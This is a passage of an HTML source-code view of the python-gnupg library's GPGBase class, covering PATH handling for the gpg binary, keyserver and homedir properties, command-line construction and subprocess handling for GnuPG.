anyway!"</span> - - <span class="nd">@staticmethod</span> - <span class="k">def</span> <span class="nf">remove_program_from_path</span><span class="p">(</span><span class="n">path</span><span class="p">,</span> <span class="n">prog_base</span><span class="p">):</span> - <span class="sd">"""Remove all directories which contain a program from PATH.</span> - -<span class="sd"> :param str path: The contents of the system environment's</span> -<span class="sd"> ``$PATH``.</span> - -<span class="sd"> :param str prog_base: The directory portion of a program's</span> -<span class="sd"> location, without the trailing slash,</span> -<span class="sd"> and without the program name. For</span> -<span class="sd"> example, ``prog_base='/usr/bin'``.</span> -<span class="sd"> """</span> - <span class="n">paths</span> <span class="o">=</span> <span class="n">path</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">':'</span><span class="p">)</span> - <span class="k">for</span> <span class="n">directory</span> <span class="ow">in</span> <span class="n">paths</span><span class="p">:</span> - <span class="k">if</span> <span class="n">directory</span> <span class="o">==</span> <span class="n">prog_base</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Found directory with target program: </span><span class="si">%s</span><span class="s">"</span> - <span class="o">%</span> <span class="n">directory</span><span class="p">)</span> - <span class="n">path</span><span class="o">.</span><span class="n">remove</span><span class="p">(</span><span class="n">directory</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_removed_path_entries</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">directory</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Deleted all found instance of </span><span class="si">%s</span><span class="s">."</span> <span class="o">%</span> <span class="n">directory</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"PATH is now:</span><span class="si">%s%s</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">linesep</span><span class="p">,</span> <span class="n">path</span><span class="p">))</span> - <span class="n">new_path</span> <span class="o">=</span> <span class="s">':'</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">p</span> <span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">path</span><span class="p">])</span> - <span class="k">return</span> <span class="n">new_path</span> - - <span class="nd">@staticmethod</span> - <span class="k">def</span> <span class="nf">update_path</span><span class="p">(</span><span class="n">environment</span><span class="p">,</span> <span class="n">path</span><span class="p">):</span> - <span class="sd">"""Add paths to the string at ``os.environ['PATH']``.</span> - -<span class="sd"> :param str environment: The environment mapping to update.</span> -<span class="sd"> :param list path: A list of strings to update the PATH with.</span> -<span class="sd"> """</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Updating system path..."</span><span class="p">)</span> - <span class="n">os</span><span class="o">.</span><span class="n">environ</span> <span class="o">=</span> <span class="n">environment</span> - <span class="n">new_path</span> <span class="o">=</span> <span class="s">':'</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">p</span> <span class="k">for</span> <span class="n">p</span> <span class="ow">in</span> <span class="n">path</span><span class="p">])</span> - <span class="n">old</span> <span class="o">=</span> <span class="s">''</span> - <span class="k">if</span> <span class="s">'PATH'</span> <span class="ow">in</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">:</span> - <span class="n">new_path</span> <span class="o">=</span> <span class="s">':'</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s">'PATH'</span><span class="p">],</span> <span class="n">new_path</span><span class="p">])</span> - <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="o">.</span><span class="n">update</span><span class="p">({</span><span class="s">'PATH'</span><span class="p">:</span> <span class="n">new_path</span><span class="p">})</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"System $PATH: </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">os</span><span class="o">.</span><span class="n">environ</span><span class="p">[</span><span class="s">'PATH'</span><span class="p">])</span> - - <span class="n">modified_path</span> <span class="o">=</span> <span class="n">remove_program_from_path</span><span class="p">(</span><span class="n">path_copy</span><span class="p">,</span> <span class="n">program_base</span><span class="p">)</span> - <span class="n">update_path</span><span class="p">(</span><span class="n">env_copy</span><span class="p">,</span> <span class="n">modified_path</span><span class="p">)</span> - - <span class="c">## register an _exithandler with the python interpreter:</span> - <span class="n">atexit</span><span class="o">.</span><span class="n">register</span><span class="p">(</span><span class="n">update_path</span><span class="p">,</span> <span class="n">env_copy</span><span class="p">,</span> <span class="n">path_copy</span><span class="p">)</span> - - <span class="k">def</span> <span class="nf">remove_symlinked_binary</span><span class="p">(</span><span class="n">symlink</span><span class="p">):</span> - <span class="k">if</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">islink</span><span class="p">(</span><span class="n">symlink</span><span class="p">):</span> - <span class="n">os</span><span class="o">.</span><span class="n">unlink</span><span class="p">(</span><span class="n">symlink</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Removed binary symlink '</span><span class="si">%s</span><span class="s">'"</span> <span class="o">%</span> <span class="n">symlink</span><span class="p">)</span> - <span class="n">atexit</span><span class="o">.</span><span class="n">register</span><span class="p">(</span><span class="n">remove_symlinked_binary</span><span class="p">,</span> <span class="n">new_gpg_location</span><span class="p">)</span> -</div> - <span class="nd">@property</span> - <span class="k">def</span> <span class="nf">default_preference_list</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="sd">"""Get the default preference list."""</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_prefs</span> - - <span class="nd">@default_preference_list.setter</span> - <span class="k">def</span> <span class="nf">default_preference_list</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">prefs</span><span class="p">):</span> - <span class="sd">"""Set the default preference list.</span> - -<span class="sd"> :param str prefs: A string containing the default preferences for</span> -<span class="sd"> ciphers, digests, and compression algorithms.</span> -<span class="sd"> """</span> - <span class="n">prefs</span> <span class="o">=</span> <span class="n">_check_preferences</span><span class="p">(</span><span class="n">prefs</span><span class="p">)</span> - <span class="k">if</span> <span class="n">prefs</span> <span class="ow">is</span> <span class="ow">not</span> <span class="bp">None</span><span class="p">:</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_prefs</span> <span class="o">=</span> <span class="n">prefs</span> - - <span class="nd">@default_preference_list.deleter</span> -<div class="viewcode-block" id="GPGBase.default_preference_list"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase.default_preference_list">[docs]</a> <span class="k">def</span> <span class="nf">default_preference_list</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="sd">"""Reset the default preference list to its original state.</span> - -<span class="sd"> Note that "original state" does not mean the default preference</span> -<span class="sd"> list for whichever version of GnuPG is being used. It means the</span> -<span class="sd"> default preference list defined by :attr:`GPGBase._prefs`.</span> - -<span class="sd"> Using BZIP2 is avoided due to not interacting well with some versions</span> -<span class="sd"> of GnuPG>=2.0.0.</span> -<span class="sd"> """</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_prefs</span> <span class="o">=</span> <span class="s">'SHA512 SHA384 SHA256 AES256 CAMELLIA256 TWOFISH ZLIB ZIP'</span> -</div> - <span class="nd">@property</span> - <span class="k">def</span> <span class="nf">keyserver</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="sd">"""Get the current keyserver setting."""</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_keyserver</span> - - <span class="nd">@keyserver.setter</span> - <span class="k">def</span> <span class="nf">keyserver</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">location</span><span class="p">):</span> - <span class="sd">"""Set the default keyserver to use for sending and receiving keys.</span> - -<span class="sd"> The ``location`` is sent to :func:`_parsers._check_keyserver` when</span> -<span class="sd"> option are parsed in :meth:`gnupg.GPG._make_options`.</span> - -<span class="sd"> :param str location: A string containing the default keyserver. This</span> -<span class="sd"> should contain the desired keyserver protocol</span> -<span class="sd"> which is supported by the keyserver, for example,</span> -<span class="sd"> ``'hkps://keys.mayfirst.org'``. The default</span> -<span class="sd"> keyserver is ``'hkp://wwwkeys.pgp.net'``.</span> -<span class="sd"> """</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_keyserver</span> <span class="o">=</span> <span class="n">location</span> - - <span class="nd">@keyserver.deleter</span> -<div class="viewcode-block" id="GPGBase.keyserver"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase.keyserver">[docs]</a> <span class="k">def</span> <span class="nf">keyserver</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="sd">"""Reset the keyserver to the default setting."""</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_keyserver</span> <span class="o">=</span> <span class="s">'hkp://wwwkeys.pgp.net'</span> -</div> -<div class="viewcode-block" id="GPGBase._homedir_getter"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._homedir_getter">[docs]</a> <span class="k">def</span> <span class="nf">_homedir_getter</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="sd">"""Get the directory currently being used as GnuPG's homedir.</span> - -<span class="sd"> If unspecified, use :file:`~/.config/python-gnupg/`</span> - -<span class="sd"> :rtype: str</span> -<span class="sd"> :returns: The absolute path to the current GnuPG homedir.</span> -<span class="sd"> """</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">_homedir</span> -</div> -<div class="viewcode-block" id="GPGBase._homedir_setter"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._homedir_setter">[docs]</a> <span class="k">def</span> <span class="nf">_homedir_setter</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">directory</span><span class="p">):</span> - <span class="sd">"""Set the directory to use as GnuPG's homedir.</span> - -<span class="sd"> If unspecified, use $HOME/.config/python-gnupg. If specified, ensure</span> -<span class="sd"> that the ``directory`` does not contain various shell escape</span> -<span class="sd"> characters. If ``directory`` is not found, it will be automatically</span> -<span class="sd"> created. Lastly, the ``direcory`` will be checked that the EUID has</span> -<span class="sd"> read and write permissions for it.</span> - -<span class="sd"> :param str directory: A relative or absolute path to the directory to</span> -<span class="sd"> use for storing/accessing GnuPG's files, including</span> -<span class="sd"> keyrings and the trustdb.</span> -<span class="sd"> :raises: :exc:`~exceptions.RuntimeError` if unable to find a suitable</span> -<span class="sd"> directory to use.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="ow">not</span> <span class="n">directory</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"GPGBase._homedir_setter(): Using default homedir: '</span><span class="si">%s</span><span class="s">'"</span> - <span class="o">%</span> <span class="n">_util</span><span class="o">.</span><span class="n">_conf</span><span class="p">)</span> - <span class="n">directory</span> <span class="o">=</span> <span class="n">_util</span><span class="o">.</span><span class="n">_conf</span> - - <span class="n">hd</span> <span class="o">=</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">_fix_unsafe</span><span class="p">(</span><span class="n">directory</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"GPGBase._homedir_setter(): got directory '</span><span class="si">%s</span><span class="s">'"</span> <span class="o">%</span> <span class="n">hd</span><span class="p">)</span> - - <span class="k">if</span> <span class="n">hd</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"GPGBase._homedir_setter(): Check existence of '</span><span class="si">%s</span><span class="s">'"</span> <span class="o">%</span> <span class="n">hd</span><span class="p">)</span> - <span class="n">_util</span><span class="o">.</span><span class="n">_create_if_necessary</span><span class="p">(</span><span class="n">hd</span><span class="p">)</span> - - <span class="k">try</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"GPGBase._homedir_setter(): checking permissions"</span><span class="p">)</span> - <span class="k">assert</span> <span class="n">_util</span><span class="o">.</span><span class="n">_has_readwrite</span><span class="p">(</span><span class="n">hd</span><span class="p">),</span> \ - <span class="s">"Homedir '</span><span class="si">%s</span><span class="s">' needs read/write permissions"</span> <span class="o">%</span> <span class="n">hd</span> - <span class="k">except</span> <span class="ne">AssertionError</span> <span class="k">as</span> <span class="n">ae</span><span class="p">:</span> - <span class="n">msg</span> <span class="o">=</span> <span class="p">(</span><span class="s">"Unable to set '</span><span class="si">%s</span><span class="s">' as GnuPG homedir"</span> <span class="o">%</span> <span class="n">directory</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"GPGBase.homedir.setter(): </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">msg</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">ae</span><span class="p">))</span> - <span class="k">raise</span> <span class="ne">RuntimeError</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">ae</span><span class="p">))</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Setting homedir to '</span><span class="si">%s</span><span class="s">'"</span> <span class="o">%</span> <span class="n">hd</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">_homedir</span> <span class="o">=</span> <span class="n">hd</span> -</div> - <span class="n">homedir</span> <span class="o">=</span> <span class="n">_util</span><span class="o">.</span><span class="n">InheritableProperty</span><span class="p">(</span><span class="n">_homedir_getter</span><span class="p">,</span> <span class="n">_homedir_setter</span><span class="p">)</span> - -<div class="viewcode-block" id="GPGBase._generated_keys_getter"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._generated_keys_getter">[docs]</a> <span class="k">def</span> <span class="nf">_generated_keys_getter</span><span class="p">(</span><span class="bp">self</span><span class="p">):</span> - <span class="sd">"""Get the ``homedir`` subdirectory for storing generated keys.</span> - -<span class="sd"> :rtype: str</span> -<span class="sd"> :returns: The absolute path to the current GnuPG homedir.</span> -<span class="sd"> """</span> - <span class="k">return</span> <span class="bp">self</span><span class="o">.</span><span class="n">__generated_keys</span> -</div> -<div class="viewcode-block" id="GPGBase._generated_keys_setter"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._generated_keys_setter">[docs]</a> <span class="k">def</span> <span class="nf">_generated_keys_setter</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">directory</span><span class="p">):</span> - <span class="sd">"""Set the directory for storing generated keys.</span> - -<span class="sd"> If unspecified, use</span> -<span class="sd"> :meth:`~gnupg._meta.GPGBase.homedir`/generated-keys. If specified,</span> -<span class="sd"> ensure that the ``directory`` does not contain various shell escape</span> -<span class="sd"> characters. If ``directory`` isn't found, it will be automatically</span> -<span class="sd"> created. Lastly, the ``directory`` will be checked to ensure that the</span> -<span class="sd"> current EUID has read and write permissions for it.</span> - -<span class="sd"> :param str directory: A relative or absolute path to the directory to</span> -<span class="sd"> use for storing/accessing GnuPG's files, including keyrings and</span> -<span class="sd"> the trustdb.</span> -<span class="sd"> :raises: :exc:`~exceptions.RuntimeError` if unable to find a suitable</span> -<span class="sd"> directory to use.</span> -<span class="sd"> """</span> - <span class="k">if</span> <span class="ow">not</span> <span class="n">directory</span><span class="p">:</span> - <span class="n">directory</span> <span class="o">=</span> <span class="n">os</span><span class="o">.</span><span class="n">path</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">homedir</span><span class="p">,</span> <span class="s">'generated-keys'</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"GPGBase._generated_keys_setter(): Using '</span><span class="si">%s</span><span class="s">'"</span> - <span class="o">%</span> <span class="n">directory</span><span class="p">)</span> - - <span class="n">hd</span> <span class="o">=</span> <span class="n">_parsers</span><span class="o">.</span><span class="n">_fix_unsafe</span><span class="p">(</span><span class="n">directory</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"GPGBase._generated_keys_setter(): got directory '</span><span class="si">%s</span><span class="s">'"</span> <span class="o">%</span> <span class="n">hd</span><span class="p">)</span> - - <span class="k">if</span> <span class="n">hd</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"GPGBase._generated_keys_setter(): Check exists '</span><span class="si">%s</span><span class="s">'"</span> - <span class="o">%</span> <span class="n">hd</span><span class="p">)</span> - <span class="n">_util</span><span class="o">.</span><span class="n">_create_if_necessary</span><span class="p">(</span><span class="n">hd</span><span class="p">)</span> - - <span class="k">try</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"GPGBase._generated_keys_setter(): check permissions"</span><span class="p">)</span> - <span class="k">assert</span> <span class="n">_util</span><span class="o">.</span><span class="n">_has_readwrite</span><span class="p">(</span><span class="n">hd</span><span class="p">),</span> \ - <span class="s">"Keys dir '</span><span class="si">%s</span><span class="s">' needs read/write permissions"</span> <span class="o">%</span> <span class="n">hd</span> - <span class="k">except</span> <span class="ne">AssertionError</span> <span class="k">as</span> <span class="n">ae</span><span class="p">:</span> - <span class="n">msg</span> <span class="o">=</span> <span class="p">(</span><span class="s">"Unable to set '</span><span class="si">%s</span><span class="s">' as generated keys dir"</span> <span class="o">%</span> <span class="n">directory</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"GPGBase._generated_keys_setter(): </span><span class="si">%s</span><span class="s">"</span> <span class="o">%</span> <span class="n">msg</span><span class="p">)</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">ae</span><span class="p">))</span> - <span class="k">raise</span> <span class="ne">RuntimeError</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">ae</span><span class="p">))</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">log</span><span class="o">.</span><span class="n">info</span><span class="p">(</span><span class="s">"Setting homedir to '</span><span class="si">%s</span><span class="s">'"</span> <span class="o">%</span> <span class="n">hd</span><span class="p">)</span> - <span class="bp">self</span><span class="o">.</span><span class="n">__generated_keys</span> <span class="o">=</span> <span class="n">hd</span> -</div> - <span class="n">_generated_keys</span> <span class="o">=</span> <span class="n">_util</span><span class="o">.</span><span class="n">InheritableProperty</span><span class="p">(</span><span class="n">_generated_keys_getter</span><span class="p">,</span> - <span class="n">_generated_keys_setter</span><span class="p">)</span> - -<div class="viewcode-block" id="GPGBase._make_args"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._make_args">[docs]</a> <span class="k">def</span> <span class="nf">_make_args</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">args</span><span class="p">,</span> <span class="n">passphrase</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span> - <span class="sd">"""Make a list of command line elements for GPG.</span> - -<span class="sd"> The value of ``args`` will be appended only if it passes the checks in</span> -<span class="sd"> :func:`gnupg._parsers._sanitise`. The ``passphrase`` argument needs to</span> -<span class="sd"> be True if a passphrase will be sent to GnuPG, else False.</span> - -<span class="sd"> :param list args: A list of strings of options and flags to pass to</span> -<span class="sd"> ``GPG.binary``. This is input safe, meaning that</span> -<span class="sd"> these values go through strict checks (see</span> -<span class="sd"> ``parsers._sanitise_list``) before being passed to to</span> -<span class="sd"> the input file descriptor for the GnuPG process.</span> -<span class="sd"> Each string should be given exactly as it would be on</span> -<span class="sd"> the commandline interface to GnuPG,</span> -<span class="sd"> e.g. ["--cipher-algo AES256", "--default-key</span> -<span class="sd"> A3ADB67A2CDB8B35"].</span> - -<span class="sd"> :param bool passphrase: If True, the passphrase will be sent to the</span> -<span class="sd"> stdin file descriptor for the attached GnuPG</span> -<span class="sd"> process.</span> -<span class="sd"> """</span> - <span class="c">## see TODO file, tag :io:makeargs:</span> - <span class="n">cmd</span> <span class="o">=</span> <span class="p">[</span><span class="bp">self</span><span class="o">.</span><span class="n">binary</span><span class="p">,</span> - <span class="s">'--no-options --no-emit-version --no-tty --status-fd 2'</span><span class="p">]</span> - - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">homedir</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--homedir "</span><span class="si">%s</span><span class="s">"'</span> <span class="o">%</span> <span class="bp">self</span><span class="o">.</span><span class="n">homedir</span><span class="p">)</span> - - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">keyring</span><span class="p">:</span> - <span class="n">cmd</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--no-default-keyring --keyring </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="bp">self</span><span class="o">.</span><span class="n">keyring</span><span class="p">)</span> - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">secring</span><span class="p">:</span> - <span class="n">cmd</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--secret-keyring </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="bp">self</span><span class="o">.</span><span class="n">secring</span><span class="p">)</span> - - <span class="k">if</span> <span class="n">passphrase</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--batch --passphrase-fd 0'</span><span class="p">)</span> - - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">use_agent</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--use-agent'</span><span class="p">)</span> - <span class="k">else</span><span class="p">:</span> <span class="n">cmd</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--no-use-agent'</span><span class="p">)</span> - - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">options</span><span class="p">:</span> - <span class="p">[</span><span class="n">cmd</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">opt</span><span class="p">)</span> <span class="k">for</span> <span class="n">opt</span> <span class="ow">in</span> <span class="nb">iter</span><span class="p">(</span><span class="n">_sanitise_list</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">options</span><span class="p">))]</span> - <span class="k">if</span> <span class="n">args</span><span class="p">:</span> - <span class="p">[</span><span class="n">cmd</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">arg</span><span class="p">)</span> <span class="k">for</span> <span class="n">arg</span> <span class="ow">in</span> <span class="nb">iter</span><span class="p">(</span><span class="n">_sanitise_list</span><span class="p">(</span><span class="n">args</span><span class="p">))]</span> - - <span class="k">if</span> <span class="bp">self</span><span class="o">.</span><span class="n">verbose</span><span class="p">:</span> - <span class="n">cmd</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--debug-all'</span><span class="p">)</span> - <span class="k">if</span> <span class="p">((</span><span class="nb">isinstance</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">verbose</span><span class="p">,</span> <span class="nb">str</span><span class="p">)</span> <span class="ow">and</span> - <span class="bp">self</span><span class="o">.</span><span class="n">verbose</span> <span class="ow">in</span> <span class="p">[</span><span class="s">'basic'</span><span class="p">,</span> <span class="s">'advanced'</span><span class="p">,</span> <span class="s">'expert'</span><span class="p">,</span> <span class="s">'guru'</span><span class="p">])</span> - <span class="ow">or</span> <span class="p">(</span><span class="nb">isinstance</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">verbose</span><span class="p">,</span> <span class="nb">int</span><span class="p">)</span> <span class="ow">and</span> <span class="p">(</span><span class="mi">1</span><span class="o"><=</span><span class="bp">self</span><span class="o">.</span><span class="n">verbose</span><span class="o"><=</span><span class="mi">9</span><span class="p">))):</span> - <span class="n">cmd</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="s">'--debug-level </span><span class="si">%s</span><span class="s">'</span> <span class="o">%</span> <span class="bp">self</span><span class="o">.</span><span class="n">verbose</span><span class="p">)</span> - - <span class="k">return</span> <span class="n">cmd</span> -</div> -<div class="viewcode-block" id="GPGBase._open_subprocess"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._open_subprocess">[docs]</a> <span class="k">def</span> <span class="nf">_open_subprocess</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">args</span><span class="o">=</span><span class="bp">None</span><span class="p">,</span> <span class="n">passphrase</span><span class="o">=</span><span class="bp">False</span><span class="p">):</span> - <span class="sd">"""Open a pipe to a GPG subprocess and return the file objects for</span> -<span class="sd"> communicating with it.</span> - -<span class="sd"> :param list args: A list of strings of options and flags to pass to</span> -<span class="sd"> ``GPG.binary``. This is input safe, meaning that</span> -<span class="sd"> these values go through strict checks (see</span> -<span class="sd"> ``parsers._sanitise_list``) before being passed to to</span> -<span class="sd"> the input file descriptor for the GnuPG process.</span> -<span class="sd"> Each string should be given exactly as it would be on</span> -<span class="sd"> the commandline interface to GnuPG,</span> -<span class="sd"> e.g. ["--cipher-algo AES256", "--default-key</span> -<span class="sd"> A3ADB67A2CDB8B35"].</span> - -<span class="sd"> :param bool passphrase: If True, the passphrase will be sent to the</span> -<span class="sd"> stdin file descriptor for the attached GnuPG</span> -<span class="sd"> process.</span> -<span class="sd"> """</span> - <span class="c">## see http://docs.python.org/2/library/subprocess.html#converting-an\</span> - <span class="c">## -argument-sequence-to-a-string-on-windows</span> - <span class="n">cmd</span> <span class="o">=</span> <span class="n">shlex</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">' '</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="bp">self</span><span class="o">.</span><span class="n">_make_args</span><span class="p">(</span><span class="n">args</span><span class="p">,</span> <span class="n">passphrase</span><span class="p">)))</span> - <span class="n">log</span><span class="o">.</span><span class="n">debug</span><span class="p">(</span><span class="s">"Sending command to GnuPG process:</span><span class="si">%s%s</span><span class="s">"</span> <span class="o">%</span> <span class="p">(</span><span class="n">os</span><span class="o">.</span><span class="n">linesep</span><span class="p">,</span> <span class="n">cmd</span><span class="p">))</span> - - <span class="k">if</span> <span class="n">platform</span><span class="o">.</span><span class="n">system</span><span class="p">()</span> <span class="o">==</span> <span class="s">"Windows"</span><span class="p">:</span> - <span class="c"># TODO figure out what the hell is going on there.</span> - <span class="n">expand_shell</span> <span class="o">=</span> <span class="bp">True</span> - <span class="k">else</span><span class="p">:</span> - <span class="n">expand_shell</span> <span class="o">=</span> <span class="bp">False</span> - - <span class="k">return</span> <span class="n">subprocess</span><span class="o">.</span><span class="n">Popen</span><span class="p">(</span><span class="n">cmd</span><span class="p">,</span> <span class="n">shell</span><span class="o">=</span><span class="n">expand_shell</span><span class="p">,</span> <span class="n">stdin</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">PIPE</span><span class="p">,</span> - <span class="n">stdout</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">PIPE</span><span class="p">,</span> <span class="n">stderr</span><span class="o">=</span><span class="n">subprocess</span><span class="o">.</span><span class="n">PIPE</span><span class="p">,</span> - <span class="n">env</span><span class="o">=</span><span class="p">{</span><span class="s">'LANGUAGE'</span><span class="p">:</span> <span class="s">'en'</span><span class="p">})</span> -</div> -<div class="viewcode-block" id="GPGBase._read_response"><a class="viewcode-back" href="../../gnupg.html#gnupg._meta.GPGBase._read_response">[docs]</a> <span class="k">def</span> <span class="nf">_read_response</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">stream</span><span class="p">,</span> <span class="n">result</span><span class="p">):</span> - <span class="sd">"""Reads all the stderr output from GPG, taking notice only of lines</span> -<span class="sd"> that begin with the magic [GNUPG:] prefix.</span> - -<span class="sd"> Calls methods on the response object for each valid token found, with</span> -<span class="sd"> the arg being the remainder of the status line.</span> - -<span class="sd"> :param stream: A byte-stream, file handle, or a</span> -<span class="sd"> :data:`subprocess.PIPE` for parsing the status codes</span> -<span class="sd"> from the GnuPG process.</span> - -<span class="sd"> :param result: The result parser class from :mod:`~gnupg._parsers` ―</span> -<span class="sd"> the ``handle_status()`` method of that class will be</span> -<span class="sd"> called in order to parse the output of ``stream``.</span> -<span class="sd"> """</span> - <span class="n">lines</span> <span class="o">=</span> <span class="p">[]</span> - <span class="k">while</span> <span class="bp">True</span><span class="p">:</span> - <span class="n">line</span> <span class="o">=</span> <span class="n">stream</span><span class="o">.</span><span class="n">readline</span><span class="p">()</span> - <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span> - <span class="k">break</span> - <span class="n">lines</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">line</span><span class="p">)</span> - <span class="n">line</span> <span class="o">=</span> <span class="n">line</span><span class="o">.</span><span class="n">rstrip</span><span class="p">()</span> - - <span class="k">if</span> <span class="n">line</span><span class="o">.</span><span class="n">startswith</span><span class="p">(</span><span class="s">'[GNUPG:]'</span><span class="p">):</span> - <span class="n">line</span> <span class="o">=</span> <span class="n">_util</span><span class="o">.</span><span class="n">_deprefix</span><span class="p">(</span><span class="n">line</span><span class="p">,</span> <span class="s">'[GNUPG:] '</span><span class="p">,</span> <span class="n">log</span><span class="o">.</span><span class="n">status</span><span class="p">)</span> - <span class="n">keyword</span><span class="p">,</span> <span class="n">value</span> <span class="o">=</span> <span class="n">_util</span><span class="o">.</span><span class="n">_separate_keyword</span><span 